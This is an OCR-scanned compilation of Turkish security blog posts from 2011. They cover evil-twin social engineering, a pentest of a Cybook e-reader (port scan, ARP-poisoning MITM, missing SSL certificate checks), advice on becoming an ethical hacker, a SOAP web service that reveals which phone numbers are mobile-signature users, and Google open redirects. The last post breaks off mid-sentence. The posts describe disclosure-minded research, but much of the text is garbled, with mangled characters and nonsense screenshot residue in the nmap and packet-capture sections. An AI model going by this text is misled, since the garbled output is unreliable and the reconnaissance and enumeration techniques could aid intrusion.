Art niyetli kisiler, sosyal miihendislik saldirilarinda olta saldirilarindan faydalandiklart gibi seytan ikiz (Tiirkce mealini kendim
uydurdum, aslt evil twin/kétii ikiz) yonteminden de faydalanabiliyorlar. Seytan ikiz yontemi, teknolojinin nimetlerinden faydalanarak
hedef kurum/sistemler hakkinda o kurumun bir ¢alisanini taklit ederek hedef kisi/kisiler {izerinden bilgi toplamak, kurum sistemlerine
sizmak i¢in hedef kisi/kisilerin zararl bir dosyay1 (RAT) ¢alistirmalar1 amactyla kullaniliyor.

Amaglari gergek bir kisiyi taklit etmek oldugu igin art niyetli kisiler kurban ile ilgili tiim bilgileri Facebook, Twitter, Linkedin, Foursquare
gibi sosyal aglardan toplayarak bir araya getiriler. Facebook ve Twitter durum mesajlari {izerinden bu kisinin neler yaptigini, Linkedin
tizerinden 6zgegmisini, Foursquare {izerinden hangi mekanlara sik¢a ugradigini, Google arama motoru {izerinden de elde edebildikleri
geri kalan bilgileri elde ederek hedef bir sosyal ag seger (kurum ¢alisanlarina ulasmasi kolay oldugu i¢in ¢gogunlukla Linkedin'i tercih
ederler) ve daha sonra burada bu kisi adina sahte bir profil olusturarak bu kisinin baglantilari ile iletisime gegerek bu kisiyi taklit ederek
baglant1 kurduklar kisileri kandirarak hassas bilgilere erismeye ve oradan sistemlere sizmaya ¢aligirlar. Bu saldirilarin 6niine gegmek
isteyen kurumsal firmalar, ¢alisanlarinin is ile ilgili sosyal aglarda (Linkedin) profillerini genele agmamalar1 ve kurumal e-posta adresleri
ile bu tiir sitelere liye olmamalar1 konularinda uyarirlar.

Genele agik Twitter hesabim oldugu i¢in birgiin Twitter lizerinden kendimle ilgili ne tiir bilgiler elde edebilecegini merak ettim ve bu
zamana dek gondermis oldugum mesajlart arsivleyen bir site aradim ancak bulamadim. Kafaya koyan biri bugiine kadar gondermis
oldugum tiim mesajlart elde edebilir mi diye kafa patlatmaya bagladim ve ufak bir program hazirlamaya basladim ve sonunda ortaya
hedef twitter hesabindan bugiine kadar gonderilen tiim mesajlar1 toplayan ve kayit eden twitter crawler.py adinda bir program ortaya
cikiverdi.

Programa buradan ulasabilirsiniz.
Askere gitmeden 6nce hazirlamis oldugum yaylalar yazi dizisinin {iglinciisii burada son bulurken herkese giivenli giinler dilerim.

Ekran goriintiisii:
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Cybook Orizon Mini Pentest

Source: https://www.mertsarica.com/cybook-orizon-mini-pentest/
By M.S on April 19th, 2011

=3

Bilisim giivenligi ile ilgili teknik kitaplar okumaya bayiliyorum &zellikle beni zorlayan, ¢ita yiikselten kitaplar oldu mu tadindan
yenmiyor. Kitap okumadigim zaman geri kaldigimi diistinerek kendimi kotii hissediyorum bu nedenle kitap okuma konusunda ilging

bir motivasyona (takint1 da denebilir :)) sahibim. Universite zamaninda hayatimin biiyiik bir boliimii bilgisayar basinda e-book okumak
ile gecerken is hayatia gecis sonrasinda e-book ¢iktilar ile gezer durur oldum. Ozellikle ise giderken ve isten gelirken serviste kitap

okumak benim ig¢in biiyiik bir keyif ancak her giin 10-20 sayfalik ¢ikt1 almak, A4'e bassan kocaman, kitap¢ik yapsan kiigiiciik, kagit

israfi, géz yorgunluguydu derken okuma aski beraberinde bir ¢ok sorunu da getiriyor.

Neyse ki nisanlim duruma miidahale ederek gegtigimiz aylarda bana bir e-book okuma cihazi hediye etti, Cybook Orizon. Diinyanin en

ince e-book okuma cihazi olmasinin yanisira hafif olmasi (250 gr), dokunmatik ekrana sahip olmasi, micro-usb girisinin olmasi, 2 GB

dahili bellege, WIFI, bluetooth ve akselerometreye (accelerometer) sahip olmast beni memnun eden 6zelliklerinin basinda geliyor.

Ahlakli korsana hediye edilen elektronik cihazin ufak ¢apli penetrasyon testinden gegirilmemesi gibi bir durum s6z konusu olamazdi,

olmadi da :)

Teste ilk olarak port taramasi ile bagladim ve hig agik port bulamadim.

T Cwndows oystemazmaexe

IC:\Users \Mert>nmap -s8 -p 1-65535 1%92.168.1.5

Starting Neap 5.08 ¢ http:/nnap.org > at 20118363 20:00 GIB Standard Tine
Uerhosity Increas

Stealth fng+ About 54.91x done;

Stealth : About 6@.43% ; EIC:

Stealth : About 61. EIC:

Stealth : About 67.1 ETC:

Stealth i : About ; ETC: 28: remaining)

Stealth iming: Ahout 5 ; ETC: H remaining)
Stealth iming: Ahout ; ETC: H remaining)
Stealth iming: Ahout ETC: : remaining)
Stealth Sca iming: About one; ETC: 28: < remaining)
Cﬂnpleted SYN Stealth Scan at ZE 24, 952 BQF elapﬂed (65535 total ports)
(B.84%s latency>.
on 192.168.1.5 are closed (65421 or filtered (114>
36:18 <(Unknown>

iles from: G:\Program Files\Nmap
Nmap done: 1 IP addre 1 host up?> scanned in ?55.46 second
Raw packet @ 667AZ <2.944MB> | Rcud: 65811 (2 633MB>

C:\Users\Hert>m

Daha sonra ARP zehirleme ile MITM (ortadaki adam) saldiris1 gergeklestirerek tiim trafigi izlemeye basladim. Web trafiginden

elde ettigim bilgiler sayesinde cihaz lizerinde ARM Linux kullanildigini, 2.6.21 kernel siirlimiine sahip oldugunu ve Mozilla tabanl
Ozellestirilmis bir internet tarayicisi kullanildigini 6grendim.

o]
e
T
L TR IRT hae, gztp
TS TRl T oLt e or-o-mazoonrssr ucnasons st s sontzan
e e LA e ey R HA e s SO
|(screen 600x800)
D R —.
| sove s | e [ cormrten Gt e e e p——
- e
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Internet tarayicisinda denedigim about:config ve benzer yontemlerin higbiri ise yaramadi. Bunun tizerine IKAT (Interactive Kiosk Attack
Tool)'in sitesine baglanarak internet tarayicisi iizerinden igletim sistemine erisecek yontemleri de teker teker denedim ancak yine basarili
olamadim.

Cihaz iizerinde bluetooth destegi oldugunu sdylense de heniiz aktiflestirilmemis ve yerlesik yazilim (firmware) giincellemesi ile
aktiflestirilecegi belirtiliyor. Bu durum aslinda yerlesik yazilim iizerinde bir ¢ok opsiyonun gizlendigine isaret ediyor. Cybook'un
sitesinden indirmis oldugum yerlesik yazilimi inceledigimde normal olarak anlamli higbir karakter dizisi ile karsilasmadim. Karakter
dagilimina baktigimda ise neden karsilagsmadigim ortadaydi. Yerlesik yazilim iizerinde yer alan ilk 5 bayt (Boo16) dikkatimi ¢ekti ancak
arama motorlari lizerinde yaptigim aragtirmalar sonugsuz kaldi. Yerlesik yazilim tizerinde manipiilasyonlar gergeklestirerek ipuglari elde
etme yolunu tercih etmek isterdim ancak yazilimm bozulmasi durumunda bana yol, koprii, baraj olarak geri donecegi i¢in daha ileri
gitmedim :)

Dec Hex [ char Count Percent
d 0.35%

139 126975 0.39%

7 H 126958 0.39%

7 2 126958 0.39%
E 126950 0.39%

238 3 126931 0.39%

220 C 126885 0.39%
3

Cihaz lizerinde yer alan meniilerde gezinirken Ebook Store meniisiiniin ilging islevi dikkatimi ¢ekti. Bu meniiye girince internet tarayicisi
otomatik olarak sizi Cybook'un bir alt sitesine yonlendiriyor ve cihazt ADOBE ID ile aktiflestirmenizi sagliyor. Buraya kadar hersey
normal ancak aktiflestirme kisminda javascript ile cihaza gonderilen komutlar dikkatimi ¢ekti. BOO CMD ile gonderilen her komutun
bir islevi bulunuyor ve site bagimsiz olarak bu komutlar1 nerede goriirse gorsiin ayni islevi yerine getiriyor. Komutlari ortaya ¢ikartmak
(enumerate) i¢in ufak bir betik (script) hazirlayarak # karakterinden sonra gelebilecek en fazla 4 karakterden olusan komutlar1 (daha
fazlas1 web sayfasimin boyutunu biiyiitiiyordu) olusturdum ve daha sonra cihazin olusturdugu trafigi izlemeye basladim ancak Sync
disinda trafik olusturan herhangi bir komut karsilasmadim.

leix

cxMA 3o

DTy i

i S — s

3

a5 g s — | e[S

laix)

cxMm 5 &

o b ke s — [ et [

Son olarak cihazin giivenli bir siteye (SSL) baglanma esnasinda sahte sertifika ile karsilagmas1 durumunda nasil bir aksiyon aldigini
gormek icin ufak bir test gerceklestirdig§imde beni lizen bir durum ile karsilastim. Cihaz giivenli baglantinin kurulmasi esnasinda
MITM saldirist gergeklestirilmesi durumunda herhangi bir uyar1 vermeden iletisim kurmaya devam ediyor yani Starbucks'ta kahvenizi
yudumlarken bir yandan e-postalarimi giivenli bir sekilde kontrol edeyim deme gibi bir sansiniz ne yazikki bulunmuyor.
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Askere gitmeden 6nce hazirlamis oldugum yaylalar yazi dizisinin birincisi burada son bulurken herkese giivenli giinler dilerim.

Nasil Ahlakh Korsan Olunur ?

Source: https://www.mertsarica.com/nasil-ahlakli-korsan-olunur/
By M.S on May 19th, 2011

=3,

Bu soruyu kendime ilk sordugumda 15-16 yaglarindaydim. Google arama motorunun var oldugu ama bilinmedigi o yillarda Altavista
arama motoru ile bu soruya yanit aramak ve cevabini igeren sayisiz kaynaga ulagmak pek miimkiin olmuyordu bu nedenle benim de
yolum o zamanlar kullanim: oldukga popiiler olan IRC sunucularindan gecti. EFnet IRC Agi'nda yer alan #Hackers kanalinda sabah
aksam konusmalari takip ederek az da olsa birseyler 6grenmeye ¢alistyordum. Giiniin birinde sohbet ettigim bir kisi (keske rumuzunu
hatirlayip tesekkiir edebilsem) samimi bir sekilde programlama konusunda bilgi sahibi olmam gerektigini ve isletim sistemi olarak
sadece Windows ile yetinmeyerek Linux isletim sistemi de kullanmam gerektigini sdylemisti. Programlama kismini anliyordum ancak
kara kuru bir ekranda ¢aligmanin bana ne gibi bir getirisi olacagi konusunda siiphelerim vardi. Aradan 15 sene gegtikten ve ahlakli korsan
(ethical hacker, penetration tester) olduktan sonra ne zaman program yazsam kendi kendime adam hakliymis der, ne zaman Backtrack
ile calismam gerekse al sana kara kuru ekran der dururum :)

Ne mutlu bana ki diinyanin 4 bir yanindan, 6zellikle geng arkadaslardan ¢ok sayida e-postalar aliyor ve her birini 6zenle yanitliyorum.
Cogunun yanitini aradigi tek bir soru var, nasil ahlakli korsan olurum, nereden ve nasil baglamaliyim?

Oncelikle yazimi ahlaksiz korsanlarin okumasi ihtimaline kars1 neden ahlakli olunmasi gerektigi konusunu kisaca bir ka¢ madde ile
aciklayayim.

* Yasalar ile basiniz derde girmez.
* Bu isi kariyere doniistiirerek uzun vadede para kazanabilirsiniz.
+ Insanlarin giivenini, sevgisini ve saygisim kazanabilirsiniz.

« Isvereninizin destegini arkaniza alarak pahali egitimlere, konferanslara bedava katilma sans1 yakalayabilirsiniz :)
Gelelim ahlakli korsan olmak i¢in yapmaniz gerekenlere;

+ Ingilizce 6grenin: Herseyden dnce Ingilizce bilmeniz gerekir en azindan okudugunuzu anlayacak kadar diyelim. Nedeni basit,
giivenlik sektoriinde gerceklestirilen caligmalardan, kaynaklara kadar ¢ogu materyalin dili Ingilizce bu nedenle giindemi,
gelismeleri yakindan takip edebilmek icin ne yapin ne edin éncelikle Ingilizce 6grenmeye bakin, olmazsa olmaz.

* Programlama dili 6grenin: Hacker'm Ingilizce sézliik anlamia bakacak olursaniz programci kelimesinin gectigini gorebilirsiniz.
Korsan olupta programlama bilmemek gibi bir sansiniz yok, yok diyenlerede itibar etmeyin. Istismar arac1 hazirlamay1 bir kenara
koydum en azindan kisa zamanda ¢ok i basarabilmek ve bunu otomatige baglayabilmek i¢in kendi programinizi yazmaniz gereken
zamanlar mutlaka olacaktir. Teknik olarak ileri seviyeye ilerledik¢e (misal tersine miihendislik yaparken) programlamanin sart
oldugunu gorebilirsiniz. Giivenlik zafiyeti kesfedebilmek icin C programlama dilini 6grenmeniz gerekecektir. Bu dil sayesinde
diger programlama dillerini okudugunuzda rahatlikla anlayabildiginizi goreceksiniz bu sayede kaynak kodu analizi sizin i¢in daha
kolay olacaktir. Testler esnasinda isinizi kolaylastiracak dillerden bir tanesini muhakkak 6grenmelisiniz. Bunun i¢in Python'u
tercih ettim, mutluyum, huzurluyum. Kapali kaynak kodlu yazilimlarda giivenlik zafiyeti kesfetmekten istismar kodu, kabuk kodu
olusturmaya kadar bir ¢ok agamada Assembly programlama dilini biliyor olmaniz yarariniza olacaktir. Metasploit ve diger araglar
ile hepsini hallederim demeyin, baslangi¢ seviyesinden 6teye gidemez, program bagimli yasarsiniz.

* Bol bol okuyun ve pratik yapin: Ag, sistem, veritabani, web uygulamasi konularinda temel kitaplar okuyun ve bilgi seviyenizi
arttirm. Temel seviyede bilgi sahibi olduktan sonra tiim bu alanlar ve daha fazlasi ile ilgili hacking kitaplar1 okumaya baslayin.
Bunun i¢in Amazon.com sitesine giderek hacking anahtar kelimesi ile sorgular yapin ve en ¢ok okunan, begenilen kitaplari sirayla
okumaya baslayin. Baslangic seviyesi icin Hacking Exposed serilerini 6nerebilirim. Okudugunuzu pratik etmezseniz unutmaniz
ve ihtiya¢ duymaniz durumunda tekrar okumaniz gerekebilecegi icin kendinize windows ve linux isletim sistemleri kurulu iki
sanal makina olusturun ve tiim denemelerinizi, 6grendiklerinizi bu sistemler iizerinde gergeklestirerek pratige dokiin.

¢ Sertifika alin ve egitimlere gidin: Kim ne derse desin sertifikalar ise girmenizi kolaylastirmaktadir. Sertifikayr kartvizit olarak
diisiinebilirsiniz. Karsi tarafin (igveren, iletisim kurdugunuz kisiler vs.) spesifik olarak belli bir alanda sertifikalandirabilecek
diizeyde temel bilgi seviyesine sahip oldugunuzu anlamasina yardimci olacaktir. Tehditler, riskler ve siirekli degisen saldiri
yontemlerini gbz oniinde bulundurdugunuzda kendinizi siirekli giincel tutmaniz gerekiyor ve katilacaginiz egitimler kitaplara
kiyasla kisa zamanda bu bilgiyi almanizi saglamaktadirlar. (Maddi olanaklari ¢ok fazla dert etmeyin ¢iinkii kurumsal bir firmada
calisiyorsaniz egitime bedava gidebileceksiniz.)

e Sabirli ve duyarl olun: Bir giivenlik zafiyeti kesfettiginiz zaman (kars: sisteme saldirarak degil!) 6rnek olarak kullandiginiz bir
hizmet tasarimsal olarak giivenli degil veya kullandiginiz programda giivenlik zafiyeti kesfettiniz yapacaginiz ilk i zafiyetin dogru,
gegcerli oldugunu teyit etmek olmalidir. Emin olduktan sonra responsible disclosure modelini izleyerek sistemin yetkilisi veya
programin dagiticist ile goriiserek durumu izah etmeye ¢alisin. Empati yaparak kendinizi karsi tarafin yerine koyun ve amacinizin
giivenlik zafiyetini ortadan kaldirmak oldugunu ve bu hizmeti veya programi kullanan kisilerin art niyetli kisiler tarafindan istismar
edilmesini engellemek oldugunu ve bu nedenle kars taraf ile iletisime gectiginizi aklinizdan ¢ikartmayarak karsi taraf ile sartlar
ne olursa olsun isbirligi yapmaya galisin. Responsible disclosure modelinde zafiyet ortadan kalktiktan sonra zafiyet ile ilgili
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detayl bilgiye ilgili platformlarda yer verebilirsiniz eger firma giivenlik biilteninde adinin gegmesini istemiyorsa saygi duyun ve
sansiirleyerek yayinlayin ¢iinkii amacimiz firmay ve hizmetlerini kétiilemek degil, insanlarin giivenligini saglamak...

¢ Bilisim hukukundan anlayan bir avukat tutun: Responsible disclosure modelinde karsi taraf ile iletisim kurmaya ¢alisirsiniz ancak
iletisim kuramadiginiz durumlarda daha dogrusu kars1 taraftan herhangi bir yanit alamadiginiz durumlarda bu giivenlik zafiyetini
ilgili platformlarda agiklayarak bu sistemi veya hizmeti kullanan insanlar1 bu konuda bilgilendirir ve yetkilileri géreve ¢agirirsiniz.
Ancak kimi zaman isler istediginiz sekilde ilerlemeyebilir ve kars taraf e-posta atmigsin ama telefon agmamissin diyebilir, ben 20
yildir giivenlik sektoriindeyim vay efendim sen benim kim oldugumu biliyor musun diyebilir, giivenlik zafiyetini namus meselesi
yaparak sen benim namusuma nasil el uzatirsin diyebilir, sizin onlarla onlarin iyiligi ve miisterilerinin giivenligi i¢in iletisim
kurmaya ¢alistiginiz1 unutarak itibarimi zedeledin diyebilir 6zetle kars1 taraf sizin iyi niyetinizi suistimal ederek sonunda hukuki
yollara basvurabilir ve kendinizi yasalar 6niinde savunmaniz gerekebilir. (Bugiine kadar yerli, yabanci, bilyiik, kii¢iik 50'ye yakin
firma ile responsible disclosure adimindan geg¢mis biri olarak bu ihtimalin ¢ok diisiik oldugunu ve sadece bu tiir bir tavirla 1 defa
karsilastigimi, genellikle kurumsal sirketlerde bu tiir bir yaklasimin olmadigini aksine size tesekkiir edildigini belirtmek isterim.)
Bu nedenle iyi bir avukat tutmaniz her zaman yerinde bir adim olacaktir.

Uzun lafin kisas ahlakli korsan olmak icin yapmaniz gerekenler ingilizce bilmek, ag, sistem, veritabani, web uygulamalari konularinda
temel bilgi sahibi olmak, programlama bilmek, egitimlere katilmak, sertifikalar almak ve bol bol hacking ile ilgili kitaplar okumak ve
pratik yapmak olacaktir.

Askere gitmeden once hazirlamis oldugum yaylalar yazi dizisinin ikincisi burada son bulurken herkese giivenli giinler dilerim.

Web Servis Giivenligine Dair

Source: https://www.mertsarica.com/web-servis-kullanimina-dair/
By M.S on March 23rd, 2011
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Agirlikli olarak xml tabanli olan web servisler genelde iki farkli uygulamanin birbiri ile ortak bir dil iizerinden haberlesmesi amaciyla
kullanilmaktadir. Bu sayede farkli programlama dilleri ile yazilmig iki uygulama birbirleri ile haberlesirken bir web servis kullanarak
haberlegme esnasinda ortaya ¢ikabilecek yazilimsal/tasarimsal uyumsuzluklar: veya engelleri ortadan kaldirmaktadir.

Cogunlukla son kullanici bir web uygulamasi ile etkilesimde bulunurken arka planda bu uygulama, kullaniciya sunacagi igerigi farkli
sunuculardan web servis araciligi ile toplamakta ve harmanladiktan sonra kullaniciya sunmaktadir.

~
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Web servis denilince ¢ogu kisinin aklina XML ve SOAP gelmektedir. SOAP, XML kullanarak uygulamalar arasi bilgi aligverisinin nasil
saglayacagini tanimlayan bir standart, bir protokoldiir. XML ise veri gostermek amaciyla kullanilan HTML'in aksine, veri tasimak ve
saklamak i¢in kullanilan bir dildir.

Web servislerine yonelik tehditlerin basinda XML enjeksiyonu, XPath enjeksiyonu, XML bombasi, paramatre manipiilasyonu, WSDL
taramasi ve daha bir ¢ok tehdit gelmektedir.

Web Services Description Language (WSDL), bir web servis ile iletisim kurulabilmesi igin gerekli parametreleri, metodlar igerir.
WSDL'i dis diinyaya ac¢ik olan bir web servis ilizerinde yer alan servis yukarda bahsi gegen tehditlere magruz kalabildigi gibi servisin
ve hizmetin kotiiye kullanimini da yol agabilmektedir.

Ornek olarak X firmasinin sitesinde yer alan bir gsm firmasina ait olan imzalama yazilimma kisaca goz atalim.

Bu imzalama programi, mobil imza kullanicilarinin kisisel bilgisayarlarindaki dosyalar1 cep telefonlar: araciligiyla elektronik olarak
imzalamalarini ve kendilerine gelen elektronik imzalanmis dosyalar1 dogrulamalarini saglayabilen kurulumu ve kullanimi oldukga basit
olan bir yazilimdr.

Mobil imza kullanma gayesiyle gz attigim bu yazilimin dogrudan bir web servis ile haberlesiyor olmasi ister istemez dikkatimi ¢ekmisti
¢linkii kurumsal aglarda ve giivenli tasarlanan yazilimlarda son kullanicinin web servis ile miinasebet kurmasi ¢ok tercih edilmemektedir.
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“4! Follow TCP Stream

-Stream Content

POST fImzaciservisi/sarvice.asmx HTTR/1.1
User-agent: Mozillasd.0 (compatible; MSIE 6.0; MS web Services Client Protocol 2.0.50727.3615)
Content-Type: text/xml; charset=utf-8

soaPAction: “http:/ftempuri.orgullanicivarmi”
Host:
Content-Length:

Expect: 100-continue
Connection: kKeep-alive

HTTP/1.1 100 Continue

<7xml wersion="1.0" encoding="utf-8"7><soap:Envelope xmins:soap="http://schemas.xmlsoap. org/soap/envelopes™
mins:xsi="http:Awww.w3.0rg 2001, ~MLSchema-instance” xmlns:xsd="http:/fwww.w3.0rg 2001

sMLSchema'><soap:Body><kullanicivarmi xmins="http: /A tempuri.org/" ><te'|N0>0554 Arelnos<xullanicivarmisz</
soap:Bodys</soapiEnvelope>HTTR/1.1 200 OK
pate:

server: Microsoft-I11s/6.0
x-Powered-By: ASP.NET
X-Asphet-version: 2.0.50727
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Content-Length: 373

<7xm] wersion="1.0" encoding="utf-8"7><soap:Envelope xmins:soap="http://schemas.xmlsoap.org/soap/envelopes"
smins:xsi="http:/Awww. w3, org/200LHMLSchema-instance” xmlns:xsd="http:/fwew. w3, 0rg/ 2000
*MLSchema'=<soap:Body><kullanicivarmiresponse xmins="http:/stempuri.org/"=<kullanicivarmiresult-ENEE</
kullanicivarmirResult></Kullanicivarmiresponses</soap:Bodys</ soap:Envelopes

[Save &s]iEntire conversation {1279 bytes) w IO A5CIT ) EBCDIC () Hex Dump () © Arrays (3) Raw

’ Filker Qut This Stream ] ’ Close ]

WSDL dosyasina baktigimda KullaniciVarMi, ImzalleLisansAl, VarOlanLisansiGetir servisleri ilgimi ¢ekti. Normal sartlarda imzalama
uygulamasi kullanilarak ¢agrilabilecek bu servisler, WSDL'den elde edilen bilgiler ile istenildigi taktirde herhangi bir http istegi yapan
bir arag iizerinden de ¢agrilabilir. Kisaca imzalama uygulamasi yerine isteyen kendi uygulamasini hazirlayarak bu servisleri ¢agirabilir
ve uygulama iizerinde yer alan kisitlamalardan etkilenmeyebilir.

(2 htip: ] e—fimzaciServisifService.asmx?wsdl - Windows Internet Explorer

G~ o ¥ (8] [%][x P
Ele Edt Vew Favortes Jooks Hep

i Favortes | s 8 - g -

PEIn ————— [hee———— Ty - E) % dw - Page- Sefety- Took- @

- <5:element name="KullaniciVarMi® > ~

- <s:comple:
<s:se
< it minOccurs="0" maxOccurs="1" name="telNo" type="s:string"
</s:sequence>
</s:complexType>
</s:element>

urs="1" name ="KullanicivarMil it" type="s:bool f >

ent minOccurs="0" maxOcc
<5: element minOccurs="0" maxOx g b
<s:element minOccurs="0" maxOccurs="1" name="serial" type="s:string"

</s:element
- <s:element name="ImzalleLisansAlResponse” >
- <s:complexType>
<s:sequence>
t minOccurs="0" maxOccurs="1" name="I Delis AlR It" type="s:stri

</s:complexT

</s:element>

- «s:element name="VarOlanLisansiGetir">

Done & Internet fa v R -

Aklima gelen ilk soru art niyetli bir kisi bagkasina ait olan bir lisans1 VarOlanLisansiGetir servisini ¢agirarak getirebilir miydi ? Bu
sorunun yanitint her ne kadar merak etsem de etik agidan dogru olmayacagini diisiindiigiim i¢in aramaktan vazgectim. Bunun yerine
Kullanic1VarMi servisi ile bir kag sorgu gergeklestirdim. Bu servisin bir gsm sirketine ait olan herhangi bir telefon numaras ile ¢agrilmasi
durumunda sunucudan true (var) ya da false (yok) seklinde yanit geldigini goérdiim. Servisin ¢alisip ¢alismadigini teyit etmek i¢in elimde
mobil imza kullanan ve kullanmayan iki farkli cep telefonu numarasi ile deneme gerceklestirdim ve servisin galistigini teyit ettim.
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Telefan numarasini giriniz. |0554 ] [ | usansa

imzaci 3]
) E Bu numara ile kayith bir mobil imza kullamos yokbur,
.

request
raw params headers hex omil

<7xml version="1.0" encoding="utf-8%?><socap:Envelope xmlins:socap="http://schemas.xmlscap.org/scap/envelope/" xmins:xsi="htep://wwv.vi.org/ 2001/ XNLSchema-instance™
¥xmlns:xsd="hcep://wew. rg/2001 »<soap:Body><KullaniciVarNi
xmlns="http://tempuri.org/ "><telNo>0505 </ te 1No></FullaniciVarMi></scap: Body></soap: Enve lope>
0 match
response
raw | headers | hex | xmi
HTTP/1.1 200 OK
Dat
Se: r: Microsoft-I1IS/6.0
X ed-By: ASP.NET
Version: 0.50727
C ntrol 5 . max-age=0
Content-Type: : charset=utf-8
Content-Length: 372
<7xml version="1.0" enco nvelope xmlns:soap="http://schemas.xmlscap.org/soap/envelope/" xmlns:xsi="http://vwww.v3.org/2001/XHLSchema- instance"
xmlns:xsd soap: Body>« ani Fesponse
¥xmlns="http://tempuri. »<Ful rNiResult>frue</FullaniciVarMiResult></FullaniciVarNiResponse></soap:Body></scap:Envelope>
0 match
done length: 602 (1.458 mi

Servisin bu sekilde isteyen herkes tarafindan kullanilabiliyor olmasinin art niyetli kisiler tarafindan nasil istismar edilebilecegini
diisinmeye koyuldugumda aklima gelen ilk senaryo su sekilde oldu. Bildiginiz gibi man in the mobile saldiris1 gerceklestiren Zeus
bankacilik trojani, kullanicinin cep telefonuna SMS sifresini ¢almak igin bir trojan gondermektedir. Boyle bir servisin halka acik olarak
hizmet vermesi durumunda bu servisten faydalanan zararli bir yazilim korii koriine kurbana ait olan cep telefonu numarasina SMS
sifresini ¢alan trojan géndermek yerine dncelikle bu servisi ¢agirarak mobil imza kullanicist olup olmadigini teyit edebilir ve yanita
gbre mobil imza uygulamasini hedef alan zararli bir yazilim gonderebilir. Bu servisin bu sekli ile kullanilmasimin bir gsm firmasina
ait mobil imza kullanan banka miisterilerinin ve bankalarin dogru bulmayacagini diisiinerek konuyu hemen X firmasina bildirmek
icin sayfalarinda yer alan e-posta adresine bir e-posta gonderdim. Bu adrese gonderilen e-postalar1 kontrol etmeyeceklerini diisiinerek
(Tirkiye gergegi) biraz arastirma yaparak genel miidiiriin e-posta adresini bularak kendisine konu ile ilgili iletisim kurabilecegim bir
yetkilinin bilgisini 6grenmek i¢in ayr1 bir e-posta gonderdim. Ancak iki hafta i¢inde tarafima herhangi bir geri doniis yapilmadigi i¢in
bu servisin art niyetli kisiler tarafindan bu sekilde kullanilmasini en kisa siirede engelleyebilmek adina bu yaziy1 yazma ve ilgilileri
goreve ¢agirma misyonunu iistlendim.

Yazinin giris kisminda da belirttigim iizere web servislerin sadece uygulamalar arasinda kullaniliyor olmasi ve son kullanici kullanimina
kisitlantyor olmasi bu tiir tehditleri berteraf edilmesine yardime1 olacaktir.

Bir sonraki yazida goriismek dilegiyle...

[28-03-2011] Giincelleme: Firma genel miidiiriiniin bugiin itibariyle tarafimla iletisime ge¢mesi ve firma isimlerinin yazida gegmesinden
otiirli duydugu rahatsizligi dile getirmesi iizerine yazida gegen firma isimleri sansiirlenmistir. Gerekli goriilmesi durumunda ilerleyen
zamanlarda kendileri ile gergeklestirilen yazigsmalara yer verilebilir.

Google’a Bile Giivenme

Source: https://www.mertsarica.com/googlea-bile-guvenme/
By M.S on March 7th, 2011

e

Milliyet.com.tr web sitesinde yer alan bir haberde, dolandiricilarin Gelir Idaresi Baskanligi'na (www.gib.gov.tr) ait olan internet
vergi dairesi sitesinin bir kopyasini olusturduklar1 ve benzer bir alan ad1 altinda (www.gib.gen.tr) site kurarak insanlar1 dolandirmaya
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calistiklar ortaya ¢ikmis. Isin ilging yani ise bu sahte sitenin Google arama motorunda "motorlu tasitlar vergisi" anahtar kelimesi ile
yapilan aramalarda ilk sirada ¢ikabilmesi i¢in dolandiricilar tarafindan Google'a reklam verilmis olmasi.

Aslinda yillardan beri Google arama motoru iizerinde zararli kod yayan sitelerden, dolandiricilik amaciyla kurulmus olan sitelere kadar
bir ¢ok zararli sitenin kullanicilar1 benzer yontemler ile hedef aldig1 bilinmektedir. Google'da bunlar karsisinda bos durmayarak zararlh
kod yayan siteleri tespit etmekte ve arama sonuglarina ilgili site i¢in ufak bir ibare ekleyerek ziyaret edilmek istenen sitenin pek te
giivenilir olmadig1 konusunda kullancilart bilgilendirmektedir.

Zararl1 ve sahte sitelerin ister istemez Google arama sonuglarinda yer alabilmesi kullanicilar igin tehlike olustururken bence kotiiye
kullanilabilecek bir diger tehlike ise Google arama motorunda yer alan kendimi sansli hissediyorum arama 6zelligidir. Herhangi bir
anahtar kelime yazip (web adresi de olabilir) bu butona basacak olursaniz anahtar kelimeniz ile iliskili olan ilk web sitesine yonlendiginizi
(URL Redirection) gorebilirsiniz.

Her ne kadar Google ip adreslerine yonlendirme yapmiyor olsa da anahtar kelime olarak yazinin basinda bahsetmis oldugum
dolandiricilar tarafindan kurulan web sitesinin adresini yazmaniz durumunda bu adrese sizi seve seve yonlendirecektir.

Google Uzerinden Yonlendirme Ornegi (Kendimi Sansh Hissediyorum): Kendini sansh hissediyor musun ?

Kendimi sansh hissediyorum yénlendirmesine ilave olarak Google arama motoru iizerinde baska bir yénlendirme daha mevcut. Ornegin
Firefox internet tarayicist iizerinde adres ¢ubuguna /root yazip enter tusuna basacak olursaniz kendinizi http://root.cern.ch/drupal/
sitesinde buldugunuzu gorebilirsiniz. Yine arka tarafta bunun nasil calistigina bakacak olursak adres cubuguna yazacaginiz bir kelime
arka tarafta Google arama motoruna giderek sizi bu anahtar kelime ile iliskili olan site bagligina (title) sahip ilk siteye yonlendirmektedir.

Google Uzerinden Yénlendirme Ornegi: Google'a bile giivenme

Sonug olarak bu tiir kontrolsiiz URL yonlendirmelerinin phishing saldirilarindan istismar paketlerine (exploit pack) yonlendirmeye kadar
kotiiye kullanildigina bir ¢ok defa tanik olmustum ancak Google arama motorunun bu tiir saldirilara imkan taniyacak bir tasarima sahip
oldugu bugiine dek hi¢ dikkatimi ¢ekmemisti. Siz siz olun gelen baglanti adresi google.com/google.com.tr igeriyor diye korii koriine
tiklamayin...

Bir sonraki yazi ile goriismek dilegiyle...

Script Kiddie Bezdirme Mekanizmasi

Source: https://www.mertsarica.com/script-kiddie-bezdirme-mekanizmasi/
By M.S on February 27th, 2011

=3,

Giintimiizde internete agik web sitelerinin kaderinde ya Cin iizerinden ya da Rusya iizerinden en az bir defa taranmak vardir. Bunu web
uygulamalar ilizerindeki zafiyetleri otomatik olarak tespit etmek ve istismar etmek iizere hazirlanmis bir solucan (worm) yaptig1 gibi
proxy arkasina gizlenmis merakli bir script kiddie de yapiyor olabilir.

Benim sitem de zaman zaman merakli arkadaglarin ilgi alanina girmekte ve Netsparker'dan Acunetix'e kadar bir ¢ok ticari web
uygulamasi giivenlik tarayicilart (web application security scanner) ile taranmaktadir. Her ne kadar bu zamana dek bu durumdam
sikayetci olmasamda kendimi sikayet edenlerine yerine koyarak "acaba bu script kiddieler'in islerini mod_security ve benzer karmasik
yontemlere bagvurmadan nasil zorlastirabilirim?" sorusuna yanit aramaya koyuldum.

Script kiddie'nin ticari araglar ile tarama iglemini simiile etmek i¢in ilk olarak Windows isletim sistemi yiiklii olan sanal makine i¢ine
